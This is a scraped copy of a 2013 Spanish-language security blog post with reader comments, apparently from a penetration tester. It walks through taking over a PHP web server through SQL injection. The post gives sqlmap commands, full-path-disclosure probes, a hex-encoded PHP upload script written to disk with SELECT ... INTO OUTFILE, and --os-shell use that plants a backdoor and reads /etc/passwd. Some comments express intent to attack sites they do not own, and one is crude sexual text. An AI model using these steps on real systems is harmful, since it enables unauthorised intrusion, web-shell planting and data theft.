7
6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 1/7 Penetration Testing Ethical Hacking Vulnerabilities [In]Seguridad Informática JUEVES, 10 DE ENERO DE 2013 SQL Injection to Shell with SQLMap Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso positivo). Después de terminar el nuevo análisis encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error: You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1 Entonces basándome en el resultado anterior del FP, decidí utilizar la famosa herramienta SQLMap para comprobar si realmente el sitio era vulnerable a esta inyección para ello use el comando mas simple pero muchas veces eficiente que cuenta SQLMap: ./sqlmap.py u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep dbs Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado: A partir de ese error empece a preocuparme! pues el cliente necesitaba el trabajo lo mas antes posible, pero como para mi no hay nada imposible (sin presumir), opte por utilizar las técnicas y comandos mas avanzados que cuenta SQLMap, pero antes de eso tenia que comprobar si el usuario que estaba inyectando era user o root, para ello utilice el siguiente comando: ./sqlmap.py u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep currentuser Obteniendo el siguiente resultado: Select Langua TRASLATE Seguir a Seguir a @CalebD @CalebD FOLLOWME : SÍGUEME A TRA AFILIADOS : VISITANTES 2013 (8) marzo (1) febrero (1) enero (6) PHP Audit encontrar Aplicac... Exploiting J AverageRan R... Exploiting N with Metas SQL Injectio SQLMap Exploiting W Internet E Re... ENTRADAS REC

[In]Seguridad Informática_ SQL Injection to Shell with SQLMap

Embed Size (px)

Citation preview

Page 1: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 1/7

Penetration Testing Ethical Hacking Vulnerabilities

[In]Seguridad Informática

JUEVES, 10 DE ENERO DE 2013

SQL Injection to Shell with SQLMap

Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope

con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos

del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las

inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa

y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso

positivo).

Después de terminar el nuevo análisis encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el

famoso error:

You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1

Entonces basándome en el resultado anterior del FP, decidí utilizar la famosa herramienta SQLMap para comprobar si

realmente el sitio era vulnerable a esta inyección para ello use el comando mas simple pero muchas veces

eficiente que cuenta SQLMap:

./sqlmap.py u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep dbs

Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado:

A partir de ese error empece a preocuparme! pues el cliente necesitaba el trabajo lo mas antes posible, pero como

para mi no hay nada imposible (sin presumir), opte por utilizar las técnicas y comandos mas avanzados que cuenta

SQLMap, pero antes de eso tenia que comprobar si el usuario que estaba inyectando era user o root, para ello

utilice el siguiente comando:

./sqlmap.py u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep currentuser

Obteniendo el siguiente resultado:

Select Language

TRASLATE

Seguir a Seguir a @CalebDrugs@CalebDrugs

FOLLOWME :

SÍGUEME A TRAVÉS DE :

AFILIADOS :

VISITANTES

2013 (8)

marzo (1)

febrero (1)

enero (6)

PHP Audit El Arte deencontrar 0days enAplicac...

Exploiting Java AppletAverageRangeStatisticImplR...

Exploiting New Java 0daywith Metasploit

SQL Injection to Shell withSQLMap

Exploiting Windows 7 withInternet Explorer CSSRe...

ENTRADAS RECIENTES

Page 2: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 2/7

Al apreciar el resultado como "none" deduje que el usuario era "root" entonces en lo primero que pensé fue en

subir una web shell desde SQLMap, pero antes de realizar ese paso, tenia que obtener un Full Path Disclosure pero

¿Para que necesito un FPD? muy facil, al momento que necesitemos subir una web shell desde SQLMap, esta

nos pedirá que coloquemos el PATH completo del servidor, caso contrario esta no dará resultado.

Ejemplos de obtener un Full Path Disclosure mediante Sql Injection:

http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep Veremos un Sql Injection

http://www.sitioweb.com/parametrovulnerable?txt_palabra=[]isep Veremos un Full Path Disclosure

http://www.sitioweb.com/parametrovulnerable?txt_palabra=huey Veremos un Full Path Disclosure

http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep! Veremos un Full Path Disclosure

http://www.sitioweb.com/parametrovulnerable?txt_palabra='isep' Veremos un Full Path Disclosure

Otro método que también funciona para obtener un FPD es cambiando las cookies, por ejemplo si tenemos nuestras

cookies PHPSESSID=13882931834931984318 simplemente queda borrar los números quedando solamente el PHPSESSID= esto

se puede realizar utilizando el Addon Live HTTP Headers.

Después de realizar estos pasos para obtener un Full Path Disclosure, el resultado fue exitoso, mostrándome el

siguiente mensaje:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in/espejo/htdocs.v2/portalnuevo/buscadores/portal_contenidos.php on line 79

Conociendo el path completo del servidor, solo me faltaba buscar el código php de un upload para convertirlo en

HEX e inyectarlo en el SQLMap. Seguidamente tenia que convertir el siguiente código a HEX:

<form enctype="multipart/formdata" action="upload.php" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form> <?php $target_path=basename($_FILES['uploadedfile']['name']);if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target_path))echobasename($_FILES['uploadedfile']['name'])." has been uploaded";elseecho "Error!";?>

Ahora entre al sitio web http://www.stringfunctions.com/stringhex.aspx y coloque el código del upload para

convertirlo a HEX, dando como resultado lo siguiente:

3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e

Realizado todo lo anterior, entre nuevamente a SQLMap y coloque el siguiente comando para moverme por el servidor

mediante comandos SQL.

./sqlmap.py u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep sqlshell

Ahora como ya tenia el control del servidor mediante comandos SQL, tenia que inyectar con SELECT + 0x + Codigo

HEX + INTO OUTFILE + Full Path + Nombre del Upload, quedando la inyección de la siguiente manera:

Reboot Movie [Free DownloadHD]

2012 (118)

Page 3: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 3/7

select0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e into "/espejo/htdocs.v2/portalnuevo/buscadores/upload.php";

En la cual SQLMap devuelve el siguiente resultado, indicando que el upload subió perfectamente sin problema

alguno, como se muestra en la siguiente imagen:

Ahora solo me quedaba abrir mi navegador y dirigirme a la ruta en la cual subí el upload.php la cual fue

totalmente un éxito.

Bien ahora como ya tenia el upload.php y mi objetivo era obtener el control total del servidor, subi una web shell

la cual se ejecuto perfectamente.

Como ya es de conocimiento SQLMap contiene una series de comandos que nos ayuda mucho al momento que estamos

realizando una auditoria, pues también ofrece un comando para subir una web shell de una forma mas rápida a la

forma de dicha herramienta.

El comando osshell en SQLMap permitirá subir un uploader (sqlmap file uploader) algo parecido a lo anterior

pero al estilo SQLMap :)

Para realizar este paso utilizando dicho comando, teclearemos en la herramienta lo siguiente:

./sqlmap.py u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep osshell

La herramienta nos preguntara en que lenguaje de programación esta basada el sitio web, en este caso el sitio web

que ando auditando esta en PHP, por lo que sqlmap lo enumera como (default) tal cual se muestra en la siguiente

imagen:

Page 4: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 4/7

Después de colocar el numero por default o simplemente presionando enter, la herramienta nos pedirá que coloquemos

el path completo del servidor la cual hemos obtenido mediante un Full Path Disclosure, después de ello,

confirmaremos dicho path para que la herramienta trate de subir el uplader en el servidor.

Seguidamente si hemos colocado el path correctamente, obtendremos el uploader en el servidor, esta se nombra

muchas veces como tmpjdjsk.php.

Ahora para confirmar y visualizar el uploader que subió la herramienta, abriremos la URL que la misma nos

proporciono, apreciandola de la siguiente manera:

Desde allí podemos subir nuestra web shell o cualquier archivo que nos gustaría tener dentro del servidor web.

Después que la herramienta ha realizado todo lo anterior, nos deja una session del osshell para movernos por el

servidor mediante comandos como ls dir cat u otros. Esto se puede ya que en si es un backdoor que SQLMap ha

subido al servidor.

Ejemplo del comando cat /etc/passwd:

Page 5: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 5/7

Publicado por Caleb Bucker en jueves, enero 10, 2013

Ejemplo del comando uname a y ls:

Y por ultimo la web que hemos auditado ha quedado totalmente vulnerado.

Bueno, esto fue lo que me paso hace algunos dias, lo escribo no tal solo por aburrirlos, si no para que quiza

alguno de ustedes lo ponga en practica en sus Pruebas de Penetración.

Espero les sirva, un saludo y hasta la próxima ;)

+5 Recomendar esto en Google

Respuestas

Responder

14 comentarios:

Anónimo10 de enero de 2013 10:19

Muy interesante las tecnicas aplicadas, pero tengo una duda por que cuando aparecio como privilegios: None supusiste que

estaba corriendo como usuario root?

No deberia ser que el usuario tiene los minimos privilegios o algo parecido?

Responder

Caleb Bucker 10 de enero de 2013 11:23

Hola,

En el post dije que "deduje" cosa que puede ser un si o no.

Saludos.

Anónimo10 de enero de 2013 12:30

Muy bueno caleb!!!

Responder

Anónimo10 de enero de 2013 15:40

Hola hermano primeramente bien explicado..! solo tengo una pregunta brother quisiera saber donde puedo conseguir un TUTORIAL

DE SQLMAP AVANZADO con sus COMANDOS avanzados.! ya que utilizo esta herramienta pero solo con el clasico comando ./sqlmap.py

u http://www.sitioweb.com/parametrovulnerable?txt_palabra=isep dbs XD de ante mano muchas gracias por leer mi comens..1

SALUDOS.!

Responder

CarloS Sing Ramos10 de enero de 2013 15:45

Gracias por el tutorial xD, a practicar se ha dicho....

Responder

Anónimo11 de enero de 2013 01:20

Eres un puto MAQUINA.

ATTE: BTshell.

Responder

Page 6: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 6/7

Respuestas

Responder

Introduce tu comentario...

Comentar como: Cuenta de Google

Publicar Vista previa

Anónimo14 de enero de 2013 17:12

muy buena justamente andaba buscando la manera de subir shell a un sitio que tengo entre manos.

Responder

Anónimo18 de enero de 2013 08:54

Gracias! por la info. pero tengo una duda. es nesesario que sea usaria root ??

Responder

Anónimo18 de enero de 2013 10:34

Hola Caleb, buen trabajo.

Tengo una duda muy concreta acerca del sqlmap, no tiene nada que ver con como utilizarlo, ni ninguna duda que no pueda

resolver buscando en google. Se trata de una información en binario muy extraña que quizá usted con sus conocimientos pueda

decirme algo al respecto. ( Y no se trata de ningún de que este cifrado ) creo que tengo un resumen en binario de un hash...

algo muy muy extraño, para más detalles lo prefiero por email ya qye estamos hablando de información confidencial, el

servidor que estoy auditando lo he montado yo pero no se que está pasando, me gustaría facilitarle los detalles por email.

¿Me podrías facilitar tu email para estar en contacto?

Responder

Caleb Bucker 18 de enero de 2013 12:22

Hola,

Podes contactar conmigo a las siguiente direcciones:

GMAIL: [email protected]

HOTMAIL: [email protected]

SKYPE: bucker.caleb

Saludos.

Anónimo10 de febrero de 2013 11:01

Y como haría si el current user no es "none"?

Responder

Omar Rodriguez15 de febrero de 2013 11:30

exelente tuto bro , muy interesante, y ahi estudiar se ha dicho xD

Responder

Alejandro Gómez Urrea4 de marzo de 2013 11:07

Pues lo mismo pero con el usuario que te ha salido...

Responder

Anónimo28 de abril de 2013 12:34

me excite la puta madre llegue al orgasmo ¿te tragas mi leche?

Responder

Page 7: [In]Seguridad Informática_ SQL Injection to Shell with SQLMap

6/28/13 [In]Seguridad Informática: SQL Injection to Shell with SQLMap

calebbucker.blogspot.ru/2013/01/sql-injection-to-shell-with-sqlmap.html 7/7

Entrada más reciente Entrada antiguaPágina principal

Suscribirse a: Enviar comentarios (Atom)

CLSecurity@CalebBucker. Plantilla Picture Window. Imágenes de plantillas de follow777. Con la tecnología de Blogger.